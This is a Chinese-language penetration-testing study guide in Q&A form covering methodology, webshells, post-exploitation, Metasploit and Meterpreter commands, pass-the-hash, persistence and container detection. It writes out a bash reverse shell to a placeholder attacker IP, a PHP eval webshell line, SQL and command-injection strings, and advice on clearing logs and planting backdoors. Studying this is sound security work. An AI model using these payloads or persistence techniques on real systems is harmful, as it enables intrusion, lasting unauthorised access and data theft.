1. 什么是渗透测试?
渗透测试(Penetration Testing)是一种模拟恶意攻击者的合法授权测试,通过主动探测、漏洞利用等手段,评估目标系统(网站、服务器、内网等)的安全性,发现潜在漏洞(如 SQL 注入、逻辑漏洞),并提供修复建议,最终目的是提升系统防御能力。
2. 如何进行渗透测试?
遵循 “规划→执行→报告” 流程:
前期规划:明确测试范围、目标、时间、规则(如禁止破坏数据、禁止影响业务),签订授权协议。
信息收集:如前文所述,获取目标资产、技术栈、攻击面信息。
漏洞识别:通过扫描工具(如 Nessus、AWVS)、手动测试(如 SQL 注入检测、XSS 测试)发现漏洞。
漏洞利用:尝试利用漏洞(如 SQL 注入获取数据、上传 webshell 控制服务器),验证漏洞危害性。
权限提升:从 Webshell 提权至系统权限(如利用 Windows 漏洞、Linux SUID 提权),扩大控制范围。
内网渗透(若范围包含内网):横向移动(如远程桌面、IPC$ 共享)、获取域控权限。
清理痕迹与报告:删除测试文件、日志,输出漏洞详情、利用步骤、修复建议。
3. 黑盒测试与白盒测试的区别?
维度 | 黑盒测试(外部测试) | 白盒测试(内部测试) |
---|---|---|
测试视角 | 不了解内部代码 / 架构,模拟真实攻击者 | 知晓源代码、架构设计,从内部分析漏洞 |
测试方法 | 基于功能点测试(如输入验证、业务逻辑) | 代码审计(如查找 SQL 注入、变量覆盖)、配置检查 |
优势 | 贴近真实攻击场景,发现业务逻辑漏洞 | 深入代码层面,发现隐蔽漏洞(如逻辑缺陷) |
劣势 | 难以覆盖所有代码路径,效率较低 | 依赖代码可读性,可能忽略部署层漏洞 |
适用场景 | 网站、应用程序的外部安全测试 | 代码开发阶段、内部系统安全审计 |
4. 什么是 Shell、Payload、中间件?
Shell:在渗透测试中,指攻击者通过漏洞获取的目标系统命令行交互界面(如 webshell 是网页形式的命令行,可执行系统命令)。
Payload:攻击载荷,指用于实现攻击目的的代码片段(如 SQL 注入的 “union select 1,2,3”、反弹 Shell 的 “bash -i >& /dev/tcp/ 攻击机 IP / 端口 0>&1”)。
中间件:位于操作系统与应用程序之间的软件,用于协调资源、提供通用服务(如 Web 中间件:Nginx、Apache;数据库中间件:MySQL、Redis;应用服务器中间件:Tomcat、WebLogic)。
5. Webshell 连接协议有哪些?
HTTP/HTTPS:最常见,通过 POST/GET 请求传递命令(如中国菜刀、蚁剑的 “菜刀协议”),利用网页脚本(如
eval($_POST['pass'])
)执行命令。FTP:通过 FTP 协议上传 Webshell 后,直接操作文件系统(适用于已获取 FTP 权限的场景)。
SSH:通过反弹 Shell(如
bash -i >& /dev/tcp/攻击者IP/端口 0>&1
)将 Webshell 与攻击者 SSH 客户端建立连接,隐蔽性较强。ICMP:极少见,将命令通过 ICMP 包(ping)传输,利用服务器脚本解析 ICMP 数据执行命令(绕过部分端口限制)。
6. 拿到目标站 shell 后的渗透思路
信息收集:
主机信息:系统版本、内核、进程(
ps aux
)、网络配置(ip addr
)、用户权限(id
)。环境判断:是否在容器(
/proc/self/cgroup
)、内网网段(route -n
)。
权限提升:利用内核漏洞(如脏牛)、SUID 二进制文件、sudo 配置漏洞提权至 root。
内网横向:扫描内网存活主机(
nmap -sn 192.168.0.0/24
),尝试弱口令、漏洞(如永恒之蓝)横向移动。内网渗透:探测域环境(是否在域内,
net view
)、域控 IP,利用域漏洞(如 MS17-010)横向至域控。持久化:留后门(crontab、计划任务、SSH 密钥),避免 shell 丢失。
7. 如何对前端进行渗透测试?
XSS 漏洞:检测存储型、反射型、DOM 型 XSS(如输入
<script>alert(1)</script>
到输入框)。CSRF 漏洞:检查表单是否含
csrf_token
,尝试伪造请求(如用 Burp 生成 POC,诱导用户点击)。敏感信息泄露:查看前端源码(F12),检查注释、JS 文件是否含密钥(API Key)、账号密码。
本地存储:检查
localStorage
/sessionStorage
是否存储敏感数据(如 Token、用户信息)。前端逻辑绕过:表单验证仅在前端(如密码长度、手机号格式),用 Burp 修改参数绕过。
依赖组件漏洞:检查前端框架(如 Vue、React)或 npm 包是否有已知漏洞(用
npm audit
)。点击劫持:检测是否可通过
iframe
嵌套目标页面(防御需设置X-Frame-Options
)。
8. 如何对后端进行渗透测试?
认证与授权:测试越权访问(水平:访问他人数据;垂直:普通用户访问管理员接口)、密码重置逻辑漏洞(如无需旧密码直接修改)。
注入漏洞:SQL 注入(
id=1' or '1'='1
)、命令注入(ip=127.0.0.1;ls
)、文件包含(file=../../etc/passwd
)。服务器与中间件漏洞:检测中间件版本(如 Apache 2.4.49 漏洞)、配置错误(如目录遍历、默认页面暴露)。
数据库安全:弱口令(如 MySQL 默认账号 root / 空密码)、未授权访问(如 MongoDB 27017 端口无认证)。
日志与错误处理:错误信息是否泄露路径(如
Fatal error: in /var/www/html/
)、数据库类型。业务逻辑漏洞:如支付金额篡改(将
price=100
改为price=1
)、订单状态越权修改。
9. 如何对接口进行渗透测试?
收集接口信息:获取 API 文档(Swagger、Postman 导出文件)、抓包分析请求(Burp Suite)、识别接口类型(REST、GraphQL)。
认证与授权测试:
检测 Token 是否必填、是否可伪造(如修改 Token 用户 ID 越权)。
测试 Token 有效期(如过期后是否仍可使用)、刷新机制。
参数安全测试:
注入漏洞(SQLi、NoSQLi、命令注入,如
id=1;drop table users
)。SSRF(参数含 URL 时,尝试访问内网地址
http://127.0.0.1
)。逻辑漏洞(如
page=1
改为page=-1
查看敏感数据)。
请求方法测试:检测是否限制 HTTP 方法(如 POST 改为 GET 是否绕过验证)。
速率限制测试:高频请求是否触发限流(防止 DoS 攻击)。
数据泄露测试:响应是否包含敏感信息(如密码明文、手机号)。
10. 移动端应用(Android/iOS)渗透测试
通用步骤
网络层:用 Burp/Charles 抓包,分析 API 通信(是否加密、参数验证)。
代码层:
Android:反编译 APK(jadx),审计代码(硬编码密钥、不安全函数);动态调试(frida 挂钩)。
iOS:分析 IPA(class-dump 提取头文件),越狱设备安装调试(Cycript)。
权限测试:检查敏感权限滥用(如位置、通讯录),是否有越权操作。
数据存储:查看本地存储(SQLite、SharedPreferences、Keychain)是否明文存敏感信息。
系统特有
Android:检测 root 绕过、动态加载恶意代码;iOS:检测越狱依赖、沙箱逃逸。
11. MSF 中常用的命令?
search [关键词]
:搜索漏洞模块(如search ms17-010
)。use [模块路径]
:加载模块(如use exploit/windows/smb/ms17_010_eternalblue
)。set [参数名] [值]
:配置模块参数(如set RHOSTS 192.168.1.1
)。exploit
/run
:执行攻击模块。sessions
:管理会话(如sessions -l
列出会话,sessions -i 1
进入编号 1 的会话)。background
/bg
:将当前会话放入后台。show options
:查看模块需配置的参数。show payloads
:查看可用 Payload(攻击载荷)。set payload [payload路径]
:指定 Payload(如set payload windows/meterpreter/reverse_tcp
)。
12. Meterpreter 核心命令 bg、sessions、jobs 是什么?
bg:将当前活跃的 Meterpreter 会话切换到后台(如执行
bg
后可继续操作 MSF 控制台,会话仍保持连接)。sessions:管理所有活跃会话,常用参数:
sessions -l
:列出所有会话(含 ID、IP、状态)。sessions -i [ID]
:切换到指定 ID 的会话。sessions -k [ID]
:终止指定会话。
jobs:管理后台任务(如持久化脚本、端口转发任务),常用参数:
jobs -l
:列出所有后台任务。jobs -k [ID]
:终止指定任务。
13. Stdapi: 文件系统命令有哪些?
Stdapi 是 Meterpreter 的标准 API,提供文件系统操作命令,常用包括:
ls
:列出当前目录文件 / 文件夹。cd [路径]
:切换目录(如cd C:\Windows\
)。pwd
:显示当前工作目录。cat [文件]
:查看文件内容(如cat C:\flag.txt
)。download [远程路径] [本地路径]
:下载文件到本地(如download C:\pass.txt /tmp/
)。upload [本地路径] [远程路径]
:上传文件到目标(如upload /tmp/shell.exe C:\
)。rm [文件]
:删除文件(如rm C:\test.txt
)。mkdir [目录名]
:创建目录。rmdir [目录名]
:删除目录(需为空目录)。
14. 网络命令(route、portfwd、netstat)有哪些?
route:管理 Meterpreter 会话的路由表,用于内网渗透:
route print
:查看当前路由表。route add [网段] [子网掩码] [会话ID]
:添加路由(如route add 10.0.0.0 255.255.255.0 1
,通过会话 1 访问 10.0.0.0 网段)。
portfwd:端口转发,将目标端口映射到本地:
portfwd add -l [本地端口] -p [目标端口] -r [目标IP]
(如portfwd add -l 3389 -p 3389 -r 192.168.1.1
,本地 3389 端口映射到目标 3389)。
netstat:查看目标主机的网络连接状态:
netstat -an
:显示所有开放端口及连接的 IP(-a
显示所有,-n
以 IP: 端口形式显示)。
15. MSF 中 Getsystem 无法提权怎么办?
Getsystem 是 Meterpreter 的内置提权命令,失败时可尝试:
切换提权模块:使用 MSF 的本地提权模块(如
use exploit/windows/local/ms16_075_reflection
针对特定漏洞)。利用系统配置漏洞:检查服务权限(如
sc query
查看服务,若服务可写则替换二进制文件提权)、计划任务(schtasks
)、注册表权限。尝试不同提权方法:Getsystem 默认尝试 4 种方法,可手动指定(如
getsystem -t 1
强制方法 1)。迁移进程:迁移到高权限进程(如
ps
列出进程,migrate [PID]
迁移到 SYSTEM 权限进程)。利用第三方工具:上传提权工具(如 PowerUp、PrivescCheck)到目标,执行后获取提权漏洞。
16. MSF 中路由的作用是什么?
路由用于实现内网渗透:当通过一台边界主机(已获取会话)进入内网后,MSF 默认无法直接访问内网其他主机。通过route add
添加路由,可将内网网段流量通过已有的会话转发,实现对同网段其他主机的扫描、攻击(如横向移动)。
17. 什么是 “哈希传递攻击”?其原理是什么?
哈希传递攻击(Pass-the-Hash, PtH) 是一种凭据窃取技术,攻击者通过获取用户的 NTLM 哈希值(而非明文密码),直接利用该哈希值进行认证,绕过密码验证。
原理:
攻击者通过漏洞(如 MS17-010)或工具(如 Mimikatz)获取目标系统的 NTLM 哈希;
使用工具(如
pth-winexe
、CrackMapExec)将哈希值注入当前会话;系统验证哈希值有效性(无需明文密码),允许攻击者以该用户身份登录。
防御措施:
禁用 NTLM 认证,强制使用 Kerberos;
启用 Windows Defender Credential Guard;
限制管理员账户的网络访问;
定期轮换敏感账户密码。
18. Windows 和 Linux 系统中常见的持久化控制方法有哪些?
持久化控制指攻击者在目标系统植入后门,确保长期访问权限。
Windows 常见方法:
启动项修改:添加注册表启动项(如
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
);计划任务:创建定时执行的任务(如
schtasks
);服务劫持:修改系统服务的二进制路径;
WMI 事件订阅:利用 Windows Management Instrumentation 监听事件并触发执行;
PowerShell 配置文件:修改
$PROFILE
脚本实现自动加载。
Linux 常见方法:
RC 脚本:修改
/etc/rc.local
或/etc/init.d/
下的服务脚本;Cron 任务:添加定时执行的任务(如
crontab -e
);SSH 密钥植入:将公钥添加到
~/.ssh/authorized_keys
;PAM 模块:修改 Pluggable Authentication Modules 实现认证绕过;
内核模块:加载恶意内核模块(如 LKM Rootkit)。
19. 3389 无法连接的几种情况?
目标端口未开放(未启用远程桌面服务)。
防火墙(本地或网络层)拦截 3389 端口(如 Windows 防火墙未允许远程桌面)。
目标主机不在同一网络(如内网 IP 未映射到公网,或路由不可达)。
远程桌面服务未启动(Windows 服务 “TermService” 未运行)。
账号权限不足(如未加入 “远程桌面用户” 组)。
配置限制(如远程桌面仅允许特定 IP 访问,或最大连接数已满)。
协议或加密方式不兼容(如客户端与服务器加密设置冲突)。
20. 如何判断域控主机?
DNS SRV 记录查询:用
nslookup -type=SRV _ldap._tcp.域名
或dig SRV _ldap._tcp.域名
,直接获取域控 IP。域内命令查询:
nltest /DSGETDC:域名
可直接返回域控 IP;netdom query dc
列出主机名后,再通过ping
或nslookup
解析 IP。登录变量解析:
echo %LOGONSERVER%
得到域控主机名,再用ping
或nslookup
获取 IP。端口扫描辅助:扫描开放 389、88、53 等端口的主机,结合其他方法验证其是否为域控 IP。
21. 如何判断拿到的 shell在 Docker 容器中?
cat /proc/1/cgroup | grep -i docker && echo "In Docker" || echo "Not in Docker"
检查容器特征文件
存在
/proc/self/cgroup
,且内容含docker
或容器 ID(如1:name=systemd:/docker/xxx
)存在
//.dockerenv
文件(部分容器有)
查看主机名与环境变量
主机名(
hostname
)通常为短随机字符串(容器 ID 前几位)环境变量(
env
)可能含DOCKER_
前缀或容器相关配置
检查系统信息差异
无物理设备文件(如
/dev/disk
内容极简)ls -la /
缺少/sys/fs/cgroup/systemd
等宿主机特有的目录结构
对比外部信息
容器内
ip addr
显示的 IP 多为私有网段(如 172.17.x.x),与宿主机物理网卡 IP 不同无法访问宿主机的硬件资源或宿主机特有的进程(如 systemd)
22. 安卓 7.0 以上和以下 CA 证书限制区别
7.0 以下:用户手动安装的 CA 证书(用户证书)与系统预装证书同等信任,应用默认信任所有证书(包括用户添加的)。
7.0 以上:
第三方应用默认仅信任系统预装证书,不信任用户证书(需应用显式配置
network_security_config.xml
才会信任)。